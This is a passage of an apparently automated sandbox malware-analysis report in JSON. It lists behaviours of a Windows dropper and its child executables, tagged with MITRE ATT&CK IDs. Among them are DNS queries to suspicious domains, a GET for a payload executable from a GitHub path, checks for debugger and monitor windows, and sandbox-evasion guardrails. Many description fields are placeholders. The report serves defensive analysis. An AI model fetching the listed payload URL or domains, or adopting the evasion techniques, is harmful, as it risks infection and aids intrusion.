Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at CDBC0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at F1B80000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$48","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at D0670000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"$49","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"09000a00cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"10001100cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"0e000f00cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"1a001b00cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"1d001e00cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"1b001c00cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"0f001000cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"08000900cbfc4f01c0048475c2048475@gdiplus.dll\"\n \"19001a000000000040c78df9fb7f0000@ntdll.dll\"\n \"220023000000000018c78df9fb7f0000@ntdll.dll\"\n \"19001a004900000040c78df9fb7f0000@ntdll.dll\"\n \"\"#I@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$4a","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"F2a97.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"1H12M2.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"saved.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"NSudoLG.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"nircmd.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" has an executable section named \".text\"\n \"F2a97.exe\" has an executable section named \".text\"\n \"1H12M2.exe\" has an executable section named \"\"\n \"1H12M2.exe\" has an executable section named \".rsrc\"\n \"1H12M2.exe\" has an executable section named \".data\"\n \"3Y00Z.exe\" has an executable section named \"\"\n \"3Y00Z.exe\" has an executable section named \"moizhynh\"\n \"3Y00Z.exe\" has an executable section named \"vorpgbaq\"\n \"3Y00Z.exe\" has an executable section named \".taggant\"\n \"7z.exe\" has an executable section named \".text\"\n \"saved.exe\" has an executable section named \".text\"\n \"NSudoLG.exe\" has an executable section named \".text\"\n \"nircmd.exe\" has an executable section named \".text\"\n \"cecho.exe\" has an executable section named \"UPX0\"\n \"cecho.exe\" has an executable section named \"UPX1\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" has an writable section named \".data\"\n \"F2a97.exe\" has an writable section named \".data\"\n \"1H12M2.exe\" has an writable section named \"\"\n \"1H12M2.exe\" has an writable section named \".rsrc\"\n \"1H12M2.exe\" has an writable section named \".data\"\n \"3Y00Z.exe\" has an writable section named \"\"\n \"3Y00Z.exe\" has an writable section named \".rsrc\"\n \"3Y00Z.exe\" has an writable section named \".idata\"\n \"3Y00Z.exe\" has an writable section named \"moizhynh\"\n \"3Y00Z.exe\" has an writable section named \"vorpgbaq\"\n \"3Y00Z.exe\" has an writable section named \".taggant\"\n \"7z.exe\" has an writable section named \".data\"\n \"7z.exe\" has an writable section named \".sxdata\"\n \"saved.exe\" has an writable section named \".data\"\n \"NSudoLG.exe\" has an writable section named \".data\"\n \"nircmd.exe\" has an writable section named \".data\"\n \"cecho.exe\" has an writable section named \"UPX0\"\n \"cecho.exe\" has an writable section named \"UPX1\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4c","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".rsrc\" is \"0x4bb600\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x2d1e00\" greater than 0x100000\n Raw size of \"moizhynh\" is \"0x1a6800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".rsrc\" is \"0x4bc000\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x2d2000\" greater than 0x100000\n Virtual size of \"\" is \"0x2fd000\" greater than 0x100000\n Virtual size of \"\" is \"0x2ba000\" greater than 0x100000\n Virtual size of \"moizhynh\" is \"0x1a7000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"NSudoLG.exe\" has high imagebase \"0x140000000\"\n \"nircmd.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$4d","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bearjk.live\"\n \"btcgeared.live\"\n \"buzzarddf.live\"\n \"fishgh.digital\"\n \"github.com\"\n \"github.githubassets.com\"\n \"parakehjet.run\"\n \"techguidet.digital\"\n \"techsyncq.run\"\n \"zenithcorde.top\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"1H12M2.exe\" searching for class \"EDIT\"\n \"2O4405.exe\" searching for class \"Shell_TrayWnd\"\n \"3Y00Z.exe\" searching for class \"OLLYDBG\"\n \"3Y00Z.exe\" searching for class \"GBDYLLO\"\n \"3Y00Z.exe\" searching for class \"pediy06\"\n \"3Y00Z.exe\" searching for class \"FilemonClass\"\n \"3Y00Z.exe\" searching for window \"File Monitor - Sysinternals: www.sysinternals.com\"\n \"3Y00Z.exe\" searching for class \"PROCMON_WINDOW_CLASS\"\n \"3Y00Z.exe\" searching for window \"Process Monitor - Sysinternals: www.sysinternals.com\"\n \"3Y00Z.exe\" searching for class \"RegmonClass\"\n \"3Y00Z.exe\" searching for window \"Registry Monitor - Sysinternals: www.sysinternals.com\"\n \"3Y00Z.exe\" searching for class \"18467-41\"\n \"3Y00Z.exe\" searching for class \"Regmonclass\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$51","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$52","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$53","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /grosesch/ibra/raw/refs/heads/main/chinainstal.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: github.com\nConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"F2a97.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"1H12M2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"3Y00Z.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"7z.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"saved.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"cecho.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\F2a97.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to software packages activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-AppxPackage\"; File: \"34.bat\")\n file/memory contains long string with (Indicator: \"Remove-AppxPackage\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1072","relevance":1,"id":"string-387","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"1H12M2.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"2O4405.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"3Y00Z.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$54","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$55","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" queries basic process information of the \"C:\\abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" (UID: 860)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$56","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"1H12M2.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ixp001.tmp\\1h12m2.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"1H12M2.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"1H12M2.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"2O4405.exe\" touched file \"C:\\Windows\\Tasks\\saved.job\"\n \"2O4405.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"2O4405.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$58","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$59","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\ixp000.tmp\\f2a97.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: saved.exe]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$5a","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains ability to interact with Microsoft Outlook","description":"Observed string: \"Microsoft.Office.Interop.Outlook\" [Source: 00000000-00004460.00000000.93884.E7330000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-196","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004572.00000000.95398.D2C60000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"$60","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"github.githubassets.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$61","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"140.82.113.3\" on port \"443\"\n HTTPS traffic to \"185.199.110.154\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"7z.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Remote Access Related","name":"Contains 